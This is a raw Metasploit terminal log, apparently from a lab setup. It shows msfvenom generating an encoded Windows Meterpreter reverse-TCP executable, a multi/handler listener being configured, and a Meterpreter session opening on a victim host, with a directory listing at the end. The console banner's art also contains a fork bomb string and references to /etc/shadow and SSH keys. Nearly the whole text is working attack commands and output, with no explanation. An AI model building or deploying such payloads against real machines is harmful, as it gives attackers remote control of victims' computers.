

```
kali@kali:~$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.7 LPORT=4444 -e x86/shikata_ga_nai -f exe > ./mq.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai chosen with final size 368
Payload size: 368 bytes
Final size of exe file: 73802 bytes
kali@kali:~$ msfconsole
[-] ***Rting the Metasploit Framework console... \
[-] * WARNING: No database support: No database YAML file
[-] ***
```

```

      `:oDFo:`
      ./ymM0dayMmy/.
      -+dHJ5aGFyZGVyIQ==+
      `:sm©~~Destroy.No.Data~~s:`
      -+h2~~Maintain.No.Persistence~~h+-
      `:odNo2~~Above.All.Else.Do.No.Harm~~Ndo:`
      ./etc/shadow.0days-Data'%200R%201=1--.No.0MN8'/.
      -++SecKCoin++e.AMd`      `~://///hbove.913.ElsMNh+-
      ~/.ssh/id_rsa.Des-      `htN01UserWroteMe!-
      :dopeAW.No<nano>o      :is:TЯiKC.sudo-.A:
      :we're.all.alike``      The.PFYroy.No.D7:
      :PLACEDRINKHERE!:`      yxp_cmdshell.Ab0:
      :msf>exploit -j.      :Ns.BOB6ALICEes7:
      :---srwxrwx:-.      `MS146.52.No.Per:
      :<script>.Ac816/      sENbove3101.404:
      :NT_AUTHORITY.Do      `T:/shSYSTEM-.N:
      :09.14.2011.raid      /STFU|wall.No.Pr:
      :hevnsntSurb025N.      dNVRGOING2GIVUUP:
      :#OUTHUSE- -s:      /corykennedyData:
      :$nmap -oS      SSo.6178306Ence:
      :AwsM.da:      /shMTL#beats3o.No.:
      :Ring0:      `dDestRoyREXKC3ta/M:
      :23d:      sSETEC.ASTRONOMYist:
      /-      /yo- .ence.N:(){ :|: & };;
      `:Shall.We.Play.A.Game?tron/
      ``-ooy.ifightf0r+ehUser5`
      ..th3.H1V3.U2VjRFNN.jMh+.`
      `MjM~~WE.ARE.se~~MMjMs
      +~KANSAS.CITY's~`
      J~HAKCERS~./.`
      .esc:wq!:`
      +++ATH`
      `
```

```
=[ metasploit v5.0.71-dev ]
+ -- --[ 1962 exploits - 1095 auxiliary - 336 post ]
+ -- --[ 558 payloads - 45 encoders - 10 nops ]
+ -- --[ 7 evasion ]
```

msf5 > use exploit/multi/handler

msf5 exploit(multi/handler) > set payload

[~] Unknown variable

Usage: set [option] [value]

Set the given option to value. If value is omitted, print the current value.

If both are omitted, print options that are currently set.

If run from a module context, this will set the value in the module's
datastore. Use -g to operate on the global datastore

msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf5 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

Name	Current Setting	Required	Description
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Payload options (windows/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
EXITFUNC	process	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST		yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Wildcard Target

```
msf5 exploit(multi/handler) > set LHOST=10.0.2.7
```

```
[*] Unknown variable
```

```
Usage: set [option] [value]
```

Set the given option to value. If value is omitted, print the current value.
If both are omitted, print options that are currently set.

If run from a module context, this will set the value in the module's
datastore. Use -g to operate on the global datastore

```
msf5 exploit(multi/handler) > set LHOST 10.0.2.7
```

```
LHOST => 10.0.2.7
```

```
msf5 exploit(multi/handler) > show options
```

Module options (exploit/multi/handler):

Name	Current Setting	Required	Description
------	-----------------	----------	-------------

Payload options (windows/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
EXITFUNC	process	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	10.0.2.7	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Wildcard Target

```
msf5 exploit(multi/handler) > exploit
```

```
[*] Started reverse TCP handler on 10.0.2.7:4444
```

```
msf5 exploit(multi/handler) > exploit
```

```
[*] Started reverse TCP handler on 10.0.2.7:4444
```

```
[*] Sending stage (180291 bytes) to 10.0.2.15
```

```
[*] Meterpreter session 1 opened (10.0.2.7:4444 → 10.0.2.15:50025) at 2020-04-14 11:15:08 -0400
```

```
meterpreter > pwd
```

```
C:\Users\IEUser\Downloads\mq.exe_1_
```

```
meterpreter > dir
```

```
Listing: C:\Users\IEUser\Downloads\mq.exe_1_
```

```
=====
```

Mode	Size	Type	Last modified	Name
----	----	----	-----	----
100777/rwxrwxrwx	73802	fil	2020-04-14 13:52:40 -0400	mq.exe

```
meterpreter > █
```